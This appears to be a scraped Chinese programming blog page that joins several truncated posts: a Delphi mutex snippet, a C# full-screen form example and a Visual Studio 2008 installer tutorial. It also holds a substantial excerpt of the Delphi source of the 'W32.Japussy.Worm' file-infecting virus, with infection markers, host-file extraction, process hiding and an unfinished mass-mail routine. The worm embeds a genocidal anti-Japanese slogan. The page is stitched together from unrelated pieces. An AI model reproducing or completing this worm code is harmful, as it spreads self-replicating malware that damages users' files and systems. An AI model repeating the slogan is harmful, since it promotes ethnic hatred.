program Project1;
uses
Windows,TlHelp32;
function LowerCase(const S: string): string; //转小写
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ‘A’) and (Ch <= ‘Z’) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;
function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
//CloseHandle(MutexHandle);
Result := False;
Exit;
end;
end;
Result := True;
end; (more…)
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end; (more...)
事件编号:20101118001
方法一
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
/*******************************
* 程序启动全屏
* Hewill
* 2009-08-21
******************************/
namespace WindowsFormsApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public const int HWND_NOTOPMOST= -2;
public const int SWP_SHOWWINDOW=0x0040;
[DllImport(“user32.dll”)]
private static extern IntPtr FindWindowEx(int hwnd2, int hWnd2, string lpsz1, string lpsz2);
[DllImport(“user32.dll”)]
private static extern int GetWindowLong (IntPtr hwnd, int nIndex);
[DllImport(“user32.dll”)]
private static extern int SetWindowPos(IntPtr hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private void Form1_Load(object sender, EventArgs e)
{
IntPtr test = FindWindowEx(0, 0, “Shell_TrayWnd”, “”);
Console.WriteLine(test.ToString());
int test5 = SetWindowPos(test, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_SHOWWINDOW);
this.TopMost = true;
this.FormBorderStyle = FormBorderStyle.None;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;
this.Top = 0;
this.Left = 0;
}
}
}
方法二:
private void button1_Click(object sender, EventArgs e)
{
if (this.FormBorderStyle == FormBorderStyle.None)
{
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.WindowState = FormWindowState.Normal;
}
else
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
}
}
VS2008 C# 制作打包安装程序
1. 创建一个安装向导项目或安装部署项目
新建项目->其他项目类型->安装与部署->安装向导->为项目起个名称(名称为:setup1)
在弹出来的安装向导中 点击下一步->要创建一个安装程序为安装应用程序中选择为Windows应用程序创建一个安装程序->添加要打包的文件->完成
系统会自动将要打包的项目所依赖的依赖项添加到“检测到的依赖项”中,如Microsoft .Net Framework,如果没有就需要手动添加了。
3. 建立目标机器上的开始-〉程序菜单和桌面的快捷方式
右击应用程序文件夹中的可执行文件-〉创建快捷方式,创建完后,可以重命名为合适的中文名,将该快捷方式剪贴到用户的“程序”菜单中,一般可以先在“程序”菜单中创建一个文件夹。同样的,再创建一个到用户桌面中。
4. 创建卸载程序
卸载程序的创建方式也有两种。
第一种,自己编写代码,代码如下
/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
System.Diagnostics.Process.Start(“msiexec”, “/X{C4A3986F-EA12-4194-BB8B-A9777E78A6ED}”);
Application.Exit();
//Application.Run(new Form1());
}
其中{C4A3986F-EA12-4194-BB8B-A9777E78A6ED}为安装项目的ProductCode属性值。查看该值时需要点击解决方案中的安装项目的名字,然后在属性窗口(菜单中的视图-〉属性窗口)中查看ProductCode属性值。
然后将该段代码的可执行文件加入到应用程序文件夹中,在卸载项上指向它即可.
第二种,使用msi实现
在左侧的应用程序文件夹中添加c:windowssystem32msiexec.exe文件,为了明确其意义,可改为uninstall.exe。然后按照上面提到的步骤创建该卸载文件的快捷方式,同样剪贴到用户的“程序”菜单中。
在第三步中提到先在“程序”菜单中创建一个文件夹,所以这里将该文件放到这个文件夹下,否则打包的程序安装后,在开始-〉程序列表中是看起来毫无关系的两个快捷方式。为了便于识别,将此快捷方式的名字修改为“卸载**”,**为软件名称。
修改该快捷方式的Argument属性值为”/x {ProductCode}”,ProductCode的查看方式见第4步中的第一种方式。 (more…)